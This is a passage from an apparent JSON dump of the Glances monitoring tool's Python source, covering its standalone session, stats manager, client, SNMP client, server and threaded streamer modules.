request.\n\n        In contrast to snmpwalk, this information will typically be gathered in\n        a single transaction with the agent, rather than one transaction per\n        variable found.\n\n        * non_repeaters: This specifies the number of supplied variables that\n          should not be iterated over.\n        * max_repetitions: This specifies the maximum number of iterations over\n          the repeating variables.\n        * oid: oid list\n        > Return a list of dicts\n        \"\"\"\n        if self.version.startswith('3'):\n            errorIndication, errorStatus, errorIndex, varBinds = self.cmdGen.getCmd(\n                cmdgen.UsmUserData(self.user, self.auth),\n                cmdgen.UdpTransportTarget((self.host, self.port)),\n                non_repeaters,\n                max_repetitions,\n                *oid,\n            )\n        if self.version.startswith('2'):\n            errorIndication, errorStatus, errorIndex, varBindTable = self.cmdGen.bulkCmd(\n                cmdgen.CommunityData(self.community),\n                cmdgen.UdpTransportTarget((self.host, self.port)),\n                non_repeaters,\n                max_repetitions,\n                *oid,\n            )\n        else:\n            # Bulk request are not available with SNMP version 1\n            return []\n        return self.__bulk_result__(errorIndication, errorStatus, errorIndex, varBindTable)\n"
  },
  {
    "path": "glances/standalone.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Manage the Glances standalone session.\"\"\"\n\nimport sys\nimport time\n\nfrom glances.globals import WINDOWS\nfrom glances.logger import logger\nfrom glances.outdated import Outdated\nfrom glances.outputs.glances_curses import GlancesCursesStandalone\nfrom glances.outputs.glances_stdout import GlancesStdout\nfrom glances.outputs.glances_stdout_api_doc import GlancesStdoutApiDoc\nfrom glances.outputs.glances_stdout_api_restful_doc import GlancesStdoutApiRestfulDoc\nfrom glances.outputs.glances_stdout_csv import GlancesStdoutCsv\nfrom glances.outputs.glances_stdout_fetch import GlancesStdoutFetch\nfrom glances.outputs.glances_stdout_issue import GlancesStdoutIssue\nfrom glances.outputs.glances_stdout_json import GlancesStdoutJson\nfrom glances.processes import glances_processes\nfrom glances.stats import GlancesStats\nfrom glances.timer import Counter\n\n\nclass GlancesStandalone:\n    \"\"\"This class creates and manages the Glances standalone session.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        self.config = config\n        self.args = args\n\n        # Quiet mode\n        self._quiet = args.quiet\n        self.refresh_time = args.time\n\n        # Init stats\n        start_duration = Counter()\n        start_duration.reset()\n        self.stats = GlancesStats(config=config, args=args)\n        logger.debug(f\"Plugins initialisation duration: {start_duration.get()} seconds\")\n\n        # Modules (plugins and exporters) are loaded at this point\n        # Glances can display the list if asked...\n        if args.modules_list:\n            self.display_modules_list()\n            sys.exit(0)\n\n        # Set the args for the glances_processes instance\n        glances_processes.set_args(args)\n\n        # If process extended stats is disabled by user\n        if not args.enable_process_extended:\n            logger.debug(\"Extended stats for top process are disabled\")\n            glances_processes.disable_extended()\n        else:\n            logger.debug(\"Extended stats for top process are enabled\")\n            glances_processes.enable_extended()\n\n        # Manage optional process filter\n        if args.process_filter is not None:\n            logger.info(f\"Process filter is set to: {args.process_filter}\")\n            glances_processes.process_filter = args.process_filter\n\n        if (args.export or args.stdout) and args.export_process_filter is not None:\n            logger.info(f\"Export process filter is set to: {args.export_process_filter}\")\n            glances_processes.export_process_filter = args.export_process_filter\n\n        if (not WINDOWS) and args.no_kernel_threads:\n            # Ignore kernel threads in process list\n            glances_processes.disable_kernel_threads()\n\n        # Initial system information update\n        start_duration.reset()\n        self.stats.update()\n        logger.debug(f\"First stats update duration: {start_duration.get()} seconds\")\n\n        if self.quiet:\n            logger.info(\"Quiet mode is ON, nothing will be displayed\")\n            # In quiet mode, nothing is displayed\n            glances_processes.max_processes = 0\n        elif args.stdout_issue:\n            logger.info(\"Issue mode is ON\")\n            self.screen = GlancesStdoutIssue(config=config, args=args)\n        elif args.stdout_api_doc:\n            logger.info(\"Restful Python documentation mode is ON\")\n            self.screen = GlancesStdoutApiDoc(config=config, args=args)\n        elif args.stdout_api_restful_doc:\n            logger.info(\"Restful API documentation mode is ON\")\n            self.screen = GlancesStdoutApiRestfulDoc(config=config, args=args)\n        elif args.stdout:\n            logger.info(f\"Stdout mode is ON, following stats will be displayed: {args.stdout}\")\n            self.screen = GlancesStdout(config=config, args=args)\n        elif args.stdout_json:\n            logger.info(f\"Stdout JSON mode is ON, following stats will be displayed: {args.stdout_json}\")\n            self.screen = GlancesStdoutJson(config=config, args=args)\n        elif args.stdout_csv:\n            logger.info(f\"Stdout CSV mode is ON, following stats will be displayed: {args.stdout_csv}\")\n            self.screen = GlancesStdoutCsv(config=config, args=args)\n        elif args.stdout_fetch:\n            logger.info(\"Fetch mode is ON\")\n            self.screen = GlancesStdoutFetch(config=config, args=args)\n        else:\n            # Init screen in default mode (curses) aka TUI mode\n            self.screen = GlancesCursesStandalone(config=config, args=args)\n\n            # If an error occur during the screen init, continue if export option is set\n            # It is done in the screen.init function\n            self._quiet = args.quiet\n\n        # Check the latest Glances version\n        self.outdated = Outdated(config=config, args=args)\n\n    @property\n    def quiet(self):\n        return self._quiet\n\n    def display_modules_list(self):\n        \"\"\"Display modules list\"\"\"\n        print(\"Plugins list: {}\".format(', '.join(sorted(self.stats.getPluginsList(enable=False)))))\n        print(\"Exporters list: {}\".format(', '.join(sorted(self.stats.getExportsList(enable=False)))))\n\n    def serve_issue(self):\n        \"\"\"Special mode for the --issue option\n\n        Update is done in the screen.update function\n        \"\"\"\n        ret = not self.screen.update(self.stats)\n        self.end()\n        return ret\n\n    def __serve_once(self):\n        \"\"\"Main loop for the CLI.\n\n        :return: True if we should continue (no exit key has been pressed)\n        \"\"\"\n        # Update stats\n        # Start a counter used to compute the time needed\n        counter_update = Counter()\n        self.stats.update()\n        logger.debug(f'Stats updated duration: {counter_update.get()} seconds')\n\n        # Patch for issue1326 to avoid < 0 refresh\n        adapted_refresh = (\n            (self.refresh_time - counter_update.get()) if (self.refresh_time - counter_update.get()) > 0 else 0\n        )\n\n        # Display stats\n        # and wait refresh_time - counter\n        if not self.quiet:\n            # The update function return True if an exit key 'q' or 'ESC'\n            # has been pressed.\n            counter_display = Counter()\n            ret = not self.screen.update(self.stats, duration=adapted_refresh)\n            logger.debug(f'Stats display duration: {counter_display.get() - adapted_refresh} seconds')\n        else:\n            # Nothing is displayed\n            # Break should be done via a signal (CTRL-C)\n            time.sleep(adapted_refresh)\n            ret = True\n\n        # Export stats\n        # Start a counter used to compute the time needed\n        counter_export = Counter()\n        self.stats.export(self.stats)\n        logger.debug(f'Stats exported duration: {counter_export.get()} seconds')\n\n        return ret\n\n    def serve_n(self, n=1):\n        \"\"\"Serve n time.\"\"\"\n        for _ in range(n):\n            if not self.__serve_once():\n                break\n        # self.end()\n\n    def serve_forever(self):\n        \"\"\"Wrapper to the serve_forever function.\"\"\"\n        if self.args.stop_after:\n            self.serve_n(n=self.args.stop_after)\n        else:\n            while self.__serve_once():\n                pass\n        # self.end()\n\n    def end(self):\n        \"\"\"End of the standalone CLI.\"\"\"\n        if not self.quiet:\n            self.screen.end()\n\n        # Exit from export modules\n        self.stats.end()\n\n        # Check Glances version versus PyPI one\n        if self.outdated.is_outdated() and 'unknown' not in self.outdated.installed_version():\n            latest_version = self.outdated.latest_version()\n            installed_version = self.outdated.installed_version()\n            print(f\"You are using Glances version {installed_version}, however version {latest_version} is available.\")\n            print(\"You should consider upgrading using: pip install --upgrade glances\")\n            print(\"Disable this warning temporarily using: glances --disable-check-update\")\n            print(\n                \"To disable it permanently, refer config reference at \"\n                \"https://glances.readthedocs.io/en/latest/config.html#syntax\"\n            )\n"
  },
  {
    "path": "glances/stats.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"The stats manager.\"\"\"\n\nimport collections\nimport os\nimport pathlib\nimport sys\nimport threading\nimport traceback\nfrom importlib import import_module\n\nfrom glances.globals import exports_path, plugins_path, sys_path, weak_lru_cache\nfrom glances.logger import logger\nfrom glances.timer import Counter\n\n\nclass GlancesStats:\n    \"\"\"This class stores, updates and gives stats.\"\"\"\n\n    # Script header constant\n    header = \"glances_\"\n\n    def __init__(self, config=None, args=None):\n        # Set the config instance\n        self.config = config\n\n        # Set the argument instance\n        self.args = args\n\n        # Load plugins and exports modules\n        self.first_export = True\n        self.load_modules(self.args)\n\n    def __getattr__(self, item):\n        \"\"\"Overwrite the getattr method in case of attribute is not found.\n\n        The goal is to dynamically generate the following methods:\n        - getPlugname(): return Plugname stat in JSON format\n        - getViewsPlugname(): return views of the Plugname stat in JSON format\n        \"\"\"\n        # Check if the attribute starts with 'get'\n        if item.startswith('getViews'):\n            # Get the plugin name\n            plugname = item[len('getViews') :].lower()\n            # Get the plugin instance\n            plugin = self._plugins[plugname]\n            if hasattr(plugin, 'get_json_views'):\n                # The method get_json_views exist, return it\n                return getattr(plugin, 'get_json_views')\n            # The method get_views is not found for the plugin\n            raise AttributeError(item)\n        if item.startswith('get'):\n            # Get the plugin name\n            plugname = item[len('get') :].lower()\n            # Get the plugin instance\n            plugin = self._plugins[plugname]\n            if hasattr(plugin, 'get_json'):\n                # The method get_json exist, return it\n                return getattr(plugin, 'get_json')\n            # The method get_stats is not found for the plugin\n            raise AttributeError(item)\n        # Default behavior\n        raise AttributeError(item)\n\n    def load_modules(self, args):\n        \"\"\"Wrapper to load: plugins and export modules.\"\"\"\n\n        # Init the plugins dict\n        # Active plugins dictionary\n        self._plugins = collections.defaultdict(dict)\n        # Load the plugins\n        self.load_plugins(args=args)\n\n        # Load addititional plugins\n        self.load_additional_plugins(args=args, config=self.config)\n\n        # Init the export modules dict\n        # Active exporters dictionary\n        self._exports = collections.defaultdict(dict)\n        # All available exporters dictionary\n        self._exports_all = collections.defaultdict(dict)\n        # Load the export modules\n        self.load_exports(args=args)\n\n        # Restoring system path\n        sys.path = sys_path\n\n    def _load_plugin(self, plugin_path, args=None, config=None):\n        \"\"\"Load the plugin, init it and add to the _plugin dict.\"\"\"\n        # Load the plugin class\n        try:\n            # Import the plugin\n            plugin = import_module('glances.plugins.' + plugin_path)\n            # Init and add the plugin to the dictionary\n            if hasattr(plugin, 'PluginModel'):\n                # Old fashion way to load the plugin (before Glances 5.0)\n                # Should be removed in Glances 5.0 - see #3170\n                self._plugins[plugin_path] = getattr(plugin, 'PluginModel')(args=args, config=config)\n                logger.warning(\n                    f'The {plugin_path} plugin class name is \"PluginModel\" and it is deprecated, \\\nplease rename it to \"{plugin_path.capitalize()}Plugin\"'\n                )\n            elif hasattr(plugin, plugin_path.capitalize() + 'Plugin'):\n                # New fashion way to load the plugin (after Glances 5.0)\n                self._plugins[plugin_path] = getattr(plugin, plugin_path.capitalize() + 'Plugin')(\n                    args=args, config=config\n                )\n        except Exception as e:\n            # If a plugin can not be loaded, display a critical message\n            # on the console but do not crash\n            logger.critical(f\"Error while initializing the {plugin_path} plugin ({e})\")\n            logger.error(traceback.format_exc())\n            # An error occurred, disable the plugin\n            if args is not None:\n                setattr(args, 'disable_' + plugin_path, False)\n        else:\n            # Manage the default status of the plugin (enable or disable)\n            if args is not None:\n                # If the all keys are set in the disable_plugin option then look in the enable_plugin option\n                if getattr(args, 'disable_all', False):\n                    logger.debug('%s => %s', plugin_path, getattr(args, 'enable_' + plugin_path, False))\n                    setattr(args, 'disable_' + plugin_path, not getattr(args, 'enable_' + plugin_path, False))\n                else:\n                    setattr(args, 'disable_' + plugin_path, getattr(args, 'disable_' + plugin_path, False))\n\n    def load_plugins(self, args=None):\n        \"\"\"Load all plugins in the 'plugins' folder.\"\"\"\n        start_duration = Counter()\n\n        for item in os.listdir(plugins_path):\n            if os.path.isdir(os.path.join(plugins_path, item)) and not item.startswith('__') and item != 'plugin':\n                # Load the plugin\n                start_duration.reset()\n                self._load_plugin(os.path.basename(item), args=args, config=self.config)\n                logger.debug(f\"Plugin {item} started in {start_duration.get()} seconds\")\n\n        # Log plugins list\n        logger.debug(f\"Active plugins list: {self.getPluginsList()}\")\n\n    def load_additional_plugins(self, args=None, config=None):\n        \"\"\"Load additional plugins if defined\"\"\"\n\n        def get_addl_plugins(self, plugin_path):\n            \"\"\"Get list of additional plugins\"\"\"\n            _plugin_list = []\n            for plugin in os.listdir(plugin_path):\n                path = os.path.join(plugin_path, plugin)\n                if os.path.isdir(path) and not path.startswith('__'):\n                    # Poor man's walk_pkgs - can't use pkgutil as the module would be already imported here!\n                    for fil in pathlib.Path(path).glob('*.py'):\n                        if fil.is_file():\n                            with open(fil) as fd:\n                                # The first test should be removed in Glances 5.x - see #3170\n                                if 'PluginModel' in fd.read() or plugin.capitalize() + 'Plugin' in fd.read():\n                                    _plugin_list.append(plugin)\n                                    break\n\n            return _plugin_list\n\n        path = None\n        # Skip section check as implied by has_option\n        if config and config.parser.has_option('global', 'plugin_dir'):\n            path = config.parser['global']['plugin_dir']\n\n        if args and 'plugin_dir' in args and args.plugin_dir:\n            path = args.plugin_dir\n\n        if path:\n            # Get list before starting the counter\n            _sys_path = sys.path\n            start_duration = Counter()\n            # Ensure that plugins can be found in plugin_dir\n            sys.path.insert(0, path)\n            for plugin in get_addl_plugins(self, path):\n                if plugin in sys.modules:\n                    logger.warn(f\"Plugin {plugin} already in sys.modules, skipping (workaround: rename plugin)\")\n                else:\n                    start_duration.reset()\n                    try:\n                        _mod_loaded = import_module(plugin + '.model')\n                        self._plugins[plugin] = _mod_loaded.PluginModel(args=args, config=config)\n                        logger.debug(f\"Plugin {plugin} started in {start_duration.get()} seconds\")\n                    except Exception as e:\n                        # If a plugin can not be loaded, display a critical message\n                        # on the console but do not crash\n                        logger.critical(f\"Error while initializing the {plugin} plugin ({e})\")\n                        logger.error(traceback.format_exc())\n                        # An error occurred, disable the plugin\n                        if args:\n                            setattr(args, 'disable_' + plugin, False)\n\n            sys.path = _sys_path\n            # Log plugins list\n            logger.debug(f\"Active additional plugins list: {self.getPluginsList()}\")\n\n    def load_exports(self, args=None):\n        \"\"\"Load all exporters in the 'exports' folder.\"\"\"\n        start_duration = Counter()\n\n        if args is None:\n            return False\n\n        for item in os.listdir(exports_path):\n            if os.path.isdir(os.path.join(exports_path, item)) and not item.startswith('__'):\n                # Load the exporter\n                start_duration.reset()\n                if item.startswith('glances_'):\n                    # Avoid circular loop when Glances exporter uses lib with same name\n                    # Example: influxdb should be named to glances_influxdb\n                    exporter_name = os.path.basename(item).split('glances_')[1]\n                else:\n                    exporter_name = os.path.basename(item)\n                # Set the disable_<name> to False by default\n                setattr(self.args, 'export_' + exporter_name, getattr(self.args, 'export_' + exporter_name, False))\n                # We should import the module\n                if getattr(self.args, 'export_' + exporter_name, False):\n                    # Import the export module\n                    export_module = import_module(item)\n                    # Add the exporter instance to the active exporters dictionary\n                    self._exports[exporter_name] = export_module.Export(args=args, config=self.config)\n                    # Add the exporter instance to the available exporters dictionary\n                    self._exports_all[exporter_name] = self._exports[exporter_name]\n                else:\n                    # Add the exporter name to the available exporters dictionary\n                    self._exports_all[exporter_name] = exporter_name\n                logger.debug(f\"Exporter {exporter_name} started in {start_duration.get()} seconds\")\n\n        # Log plugins list\n        logger.debug(f\"Active exports modules list: {self.getExportsList()}\")\n        return True\n\n    def getPluginsList(self, enable=True):\n        \"\"\"Return the plugins list.\n\n        if enable is True, only return the active plugins (default)\n        if enable is False, return all the plugins\n\n        Return: list of plugin name\n        \"\"\"\n        if enable:\n            return [p for p in self._plugins if self._plugins[p].is_enabled()]\n        return list(self._plugins)\n\n    def getExportsList(self, enable=True):\n        \"\"\"Return the exports list.\n\n        if enable is True, only return the active exporters (default)\n        if enable is False, return all the exporters\n\n        :return: list of export module names\n        \"\"\"\n        if enable:\n            return list(self._exports)\n        return list(self._exports_all)\n\n    def load_limits(self, config=None):\n        \"\"\"Load the stats limits (except the one in the exclude list).\"\"\"\n        # For each plugins (enable or not), call the load_limits method\n        for p in self.getPluginsList(enable=False):\n            self._plugins[p].load_limits(config)\n\n    # It's a weak cache to avoid updating the same plugin too often\n    # Note: the function always return None\n    @weak_lru_cache(ttl=1)\n    def update_plugin(self, p):\n        \"\"\"Update stats, history and views for the given plugin name p\"\"\"\n        self._plugins[p].update()\n        self._plugins[p].update_views()\n        self._plugins[p].update_stats_history()\n\n    def update(self, plugins_list_to_update=None):\n        \"\"\"Wrapper method to update stats.\n        If plugins_list_to_update is provided (list), only update the given plugins.\n        \"\"\"\n        if plugins_list_to_update is None:\n            plugins_list_to_update = self.getPluginsList(enable=True)\n\n        # Start update of all enable plugins\n        for p in plugins_list_to_update:\n            self.update_plugin(p)\n\n    def export(self, input_stats=None):\n        \"\"\"Export all the stats.\n\n        Each export module is ran in a dedicated thread.\n        \"\"\"\n        if self.first_export:\n            # Init fields description\n            # Why ? Because some exports modules need to know what is exported (name, type...)\n            for e in self.getExportsList():\n                logger.debug(f\"Init exported stats using the {e} module\")\n                # @TODO: is it a good idea to thread this call ?\n                self._exports[e].init_fields(input_stats)\n            # In this first loop, data are not exported because some information are missing (rate for example)\n            logger.debug(\"Do not export stats during the first iteration because some information are missing\")\n            self.first_export = False\n            return False\n\n        input_stats = input_stats or {}\n\n        for e in self.getExportsList():\n            logger.debug(f\"Export stats using the {e} module\")\n            thread = threading.Thread(target=self._exports[e].update, args=(input_stats,))\n            thread.start()\n\n        return True\n\n    def getAll(self):\n        \"\"\"Return all the stats (list).\n        This method is called byt the XML/RPC API.\n        It should return all the plugins (enable or not) because filtering can be done by the client.\n        \"\"\"\n        return [self._plugins[p].get_raw() for p in self.getPluginsList(enable=False)]\n\n    def getAllAsDict(self, plugin_list=None):\n        \"\"\"Return all the stats (as dict).\n        This method is called by the RESTFul API.\n        \"\"\"\n        if plugin_list is None:\n            # All enabled plugins should be exported\n            plugin_list = self.getPluginsList()\n        return {p: self._plugins[p].get_raw() for p in plugin_list}\n\n    def getAllFieldsDescription(self):\n        \"\"\"Return all fields description (as list).\"\"\"\n        return [self._plugins[p].fields_description for p in self.getPluginsList(enable=False)]\n\n    def getAllFieldsDescriptionAsDict(self, plugin_list=None):\n        \"\"\"Return all fields description (as dict).\"\"\"\n        if plugin_list is None:\n            # All enabled plugins should be exported\n            plugin_list = self.getPluginsList()\n        return {p: self._plugins[p].fields_description for p in plugin_list}\n\n    def getAllExports(self, plugin_list=None):\n        \"\"\"Return all the stats to be exported as a list.\n\n        Default behavior is to export all the stat\n        if plugin_list is provided (list), only export stats of given plugins\n        \"\"\"\n        if plugin_list is None:\n            # All enabled plugins should be exported\n            plugin_list = self.getPluginsList()\n        return [self._plugins[p].get_export() for p in plugin_list]\n\n    def getAllExportsAsDict(self, plugin_list=None):\n        \"\"\"Return all the stats to be exported as a dict.\n\n        Default behavior is to export all the stat\n        if plugin_list is provided (list), only export stats of given plugins\n        \"\"\"\n        if plugin_list is None:\n            # All enabled plugins should be exported\n            plugin_list = self.getPluginsList()\n        return {p: self._plugins[p].get_export() for p in plugin_list}\n\n    def getAllLimits(self, plugin_list=None):\n        \"\"\"Return the plugins limits list.\n\n        Default behavior is to export all the limits\n        if plugin_list is provided, only export limits of given plugin (list)\n        \"\"\"\n        if plugin_list is None:\n            # All enabled plugins should be exported\n            plugin_list = self.getPluginsList()\n        return [self._plugins[p].limits for p in plugin_list]\n\n    def getAllLimitsAsDict(self, plugin_list=None):\n        \"\"\"Return all the stats limits (dict).\n\n        Default behavior is to export all the limits\n        if plugin_list is provided, only export limits of given plugin (list)\n        \"\"\"\n        if plugin_list is None:\n            # All enabled plugins should be exported\n            plugin_list = self.getPluginsList()\n        return {p: self._plugins[p].limits for p in plugin_list}\n\n    def getAllViews(self, plugin_list=None):\n        \"\"\"Return the plugins views.\n        This method is called byt the XML/RPC API.\n        It should return all the plugins views (enable or not) because filtering can be done by the client.\n        \"\"\"\n        if plugin_list is None:\n            plugin_list = self.getPluginsList(enable=False)\n        return [self._plugins[p].get_views() for p in plugin_list]\n\n    def getAllViewsAsDict(self, plugin_list=None):\n        \"\"\"Return all the stats views (dict).\n        This method is called by the RESTFul API.\n        \"\"\"\n        if plugin_list is None:\n            # All enabled plugins should be exported\n            plugin_list = self.getPluginsList()\n        return {p: self._plugins[p].get_views() for p in plugin_list}\n\n    def get_plugin(self, plugin_name):\n        \"\"\"Return the plugin stats.\"\"\"\n        if plugin_name in self._plugins:\n            return self._plugins[plugin_name]\n        return None\n\n    def get_plugin_view(self, plugin_name):\n        \"\"\"Return the plugin views.\"\"\"\n        if plugin_name in self._plugins:\n            return self._plugins[plugin_name].get_views()\n        return None\n\n    def end(self):\n        \"\"\"End of the Glances stats.\"\"\"\n        # Close export modules\n        for e in self._exports:\n            self._exports[e].exit()\n        # Close plugins\n        for p in self._plugins:\n            self._plugins[p].exit()\n"
  },
  {
    "path": "glances/stats_client.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"The stats server manager.\"\"\"\n\nimport importlib\nimport sys\n\nfrom glances.globals import sys_path\nfrom glances.logger import logger\nfrom glances.stats import GlancesStats\n\n\nclass GlancesStatsClient(GlancesStats):\n    \"\"\"This class stores, updates and gives stats for the client.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        \"\"\"Init the GlancesStatsClient class.\"\"\"\n        super().__init__(config=config, args=args)\n\n        # Init the configuration\n        self.config = config\n\n        # Init the arguments\n        self.args = args\n\n    def set_plugins(self, input_plugins):\n        \"\"\"Set the plugin list according to the Glances server.\"\"\"\n        header = \"glances.plugins.\"\n        for item in input_plugins:\n            # Import the plugin\n            try:\n                plugin = importlib.import_module(header + item)\n            except ImportError as e:\n                # Server plugin can not be imported from the client side\n                logger.error(f\"Can not import {item} plugin ({e}). Please upgrade your Glances client/server version.\")\n            else:\n                # Add the plugin to the dictionary\n                # The key is the plugin name\n                # for example, the file glances_xxx.py\n                # generate self._plugins_list[\"xxx\"] = ...\n                logger.debug(f\"Server uses {item} plugin\")\n                if hasattr(plugin, 'PluginModel'):\n                    # Old fashion way to load the plugin (before Glances 5.0)\n                    # Should be removed in Glances 5.0 - see #3170\n                    self._plugins[item] = getattr(plugin, 'PluginModel')(args=self.args)\n                elif hasattr(plugin, item.capitalize() + 'Plugin'):\n                    # New fashion way to load the plugin (after Glances 5.0)\n                    self._plugins[item] = getattr(plugin, item.capitalize() + 'Plugin')(args=self.args)\n\n        # Restoring system path\n        sys.path = sys_path\n\n    def update(self, input_stats):\n        \"\"\"Update all the stats.\"\"\"\n        # For Glances client mode\n        for p in input_stats:\n            # Update plugin stats with items sent by the server\n            self._plugins[p].set_stats(input_stats[p])\n            # Update the views for the updated stats\n            self._plugins[p].update_views()\n"
  },
  {
    "path": "glances/stats_client_snmp.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"The stats manager.\"\"\"\n\nimport re\n\nfrom glances.logger import logger\nfrom glances.stats import GlancesStats\n\n# SNMP OID regexp pattern to short system name dict\noid_to_short_system_name = {\n    '.*Linux.*': 'linux',\n    '.*Darwin.*': 'mac',\n    '.*BSD.*': 'bsd',\n    '.*Windows.*': 'windows',\n    '.*Cisco.*': 'cisco',\n    '.*VMware ESXi.*': 'esxi',\n    '.*NetApp.*': 'netapp',\n}\n\n\nclass GlancesStatsClientSNMP(GlancesStats):\n    \"\"\"This class stores, updates and gives stats for the SNMP client.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        super().__init__()\n\n        # Init the configuration\n        self.config = config\n\n        # Init the arguments\n        self.args = args\n\n        # OS name is used because OID is different between system\n        self.os_name = None\n\n        # Load AMPs, plugins and exports modules\n        self.load_modules(self.args)\n\n    def check_snmp(self):\n        \"\"\"Check if SNMP is available on the server.\"\"\"\n        # Import the SNMP client class\n        from glances.snmp import GlancesSNMPClient\n\n        # Create an instance of the SNMP client\n        snmp_client = GlancesSNMPClient(\n            host=self.args.client,\n            port=self.args.snmp_port,\n            version=self.args.snmp_version,\n            community=self.args.snmp_community,\n            user=self.args.snmp_user,\n            auth=self.args.snmp_auth,\n        )\n\n        # If we cannot grab the hostname, then exit...\n        ret = snmp_client.get_by_oid(\"1.3.6.1.2.1.1.5.0\") != {}\n        if ret:\n            # Get the OS name (need to grab the good OID...)\n            oid_os_name = snmp_client.get_by_oid(\"1.3.6.1.2.1.1.1.0\")\n            try:\n                self.system_name = self.get_system_name(oid_os_name['1.3.6.1.2.1.1.1.0'])\n                logger.info(f\"SNMP system name detected: {self.system_name}\")\n            except KeyError:\n                self.system_name = None\n                logger.warning(\"Cannot detect SNMP system name\")\n\n        return ret\n\n    def get_system_name(self, oid_system_name):\n        \"\"\"Get the short os name from the OS name OID string.\"\"\"\n        return (\n            next((v for r, v in oid_to_short_system_name.items() if re.search(r, oid_system_name)), None)\n            if oid_system_name\n            else None\n        )\n\n    def update(self):\n        \"\"\"Update the stats using SNMP.\"\"\"\n        # For each plugins, call the update method\n        for p in self._plugins:\n            if self._plugins[p].is_disabled():\n                # If current plugin is disable\n                # then continue to next plugin\n                continue\n\n            # Set the input method to SNMP\n            self._plugins[p].input_method = 'snmp'\n            self._plugins[p].short_system_name = self.system_name\n\n            # Update the stats...\n            try:\n                self._plugins[p].update()\n            except Exception as e:\n                logger.error(f\"Update {p} failed: {e}\")\n            else:\n                # ... the history\n                self._plugins[p].update_stats_history()\n                # ... and the views\n                self._plugins[p].update_views()\n"
  },
  {
    "path": "glances/stats_server.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"The stats server manager.\"\"\"\n\nimport collections\n\nfrom glances.logger import logger\nfrom glances.stats import GlancesStats\n\n\nclass GlancesStatsServer(GlancesStats):\n    \"\"\"This class stores, updates and gives stats for the server.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        # Init the stats\n        super().__init__(config=config, args=args)\n\n        # Init the all_stats dict used by the server\n        # all_stats is a dict of dicts filled by the server\n        self.all_stats = collections.defaultdict(dict)\n\n        # In the update method, disable extended process stats\n        logger.info(\"Disable extended processes stats in server mode\")\n\n    def update(self, input_stats=None):\n        \"\"\"Update the stats.\"\"\"\n        input_stats = input_stats or {}\n\n        # Force update of all the stats\n        super().update()\n\n        # Disable the extended processes stats because it cause an high CPU load\n        self._plugins['processcount'].disable_extended()\n\n        # Build all_stats variable (concatenation of all the stats)\n        self.all_stats = self._set_stats(input_stats)\n\n    def _set_stats(self, input_stats):\n        \"\"\"Set the stats to the input_stats one.\"\"\"\n        # Build the all_stats with the get_raw() method of the plugins\n        return {p: self._plugins[p].get_raw() for p in self._plugins if self._plugins[p].is_enabled()}\n\n    def getAll(self):\n        \"\"\"Return the stats as a list.\"\"\"\n        return self.all_stats\n"
  },
  {
    "path": "glances/stats_streamer.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n\nimport threading\nimport time\n\nfrom glances.logger import logger\n\n\nclass ThreadedIterableStreamer:\n    \"\"\"\n    Utility class to stream an iterable using a background / daemon Thread\n\n    Use `ThreadedIterableStreamer.stats` to access the latest streamed results\n    \"\"\"\n\n    def __init__(self, iterable, initial_stream_value=None, sleep_duration=0.1):\n        \"\"\"\n        iterable: an Iterable instance that needs to be streamed\n        \"\"\"\n        self._iterable = iterable\n        # Iterable results are stored here\n        self._raw_result = initial_stream_value\n        # Use a Thread to stream iterable (daemon=True to automatically kill thread when main process dies)\n        self._thread = threading.Thread(target=self._stream_results, daemon=True)\n        # Event needed to stop the thread manually\n        self._stopper = threading.Event()\n        # Lock to avoid the daemon thread updating stats when main thread reads the stats\n        self.result_lock = threading.Lock()\n        # Last result streamed time (initial val 0)\n        self._last_update_time = 0\n        # Time to sleep before next iteration\n        self._sleep_duration = sleep_duration\n\n        self._thread.start()\n\n    def stop(self):\n        \"\"\"Stop the thread.\"\"\"\n        self._stopper.set()\n\n    def stopped(self):\n        \"\"\"Return True is the thread is stopped.\"\"\"\n        return self._stopper.is_set()\n\n    def _stream_results(self):\n        \"\"\"Grab the stats.\n\n        Infinite loop, should be stopped by calling the stop() method\n        \"\"\"\n        try:\n            for res in self._iterable:\n                self._pre_update_hook()\n                self._raw_result = res\n                self._post_update_hook()\n\n                time.sleep(self._sleep_duration)\n                if self.stopped():\n                    break\n\n        except Exception as e:\n            logger.debug(f\"docker plugin - Exception thrown during run ({e})\")\n            self.stop()\n\n    def _pre_update_hook(self):\n        \"\"\"Hook that runs before worker thread updates the raw_stats\"\"\"\n        self.result_lock.acquire()\n\n    def _post_update_hook(self):\n        \"\"\"Hook that runs after worker thread updates the raw_stats\"\"\"\n        self._last_update_time = time.time()\n        self.result_lock.release()\n\n    @property\n    def stats(self):\n        \"\"\"Raw Stats getter.\"\"\"\n        return self._raw_result\n\n    @property\n    def last_update_time(self):\n        \"\"\"Raw Stats getter.\"\"\"\n        return self._last_update_time\n"
  },
  {
    "path": "glances/thresholds.py",
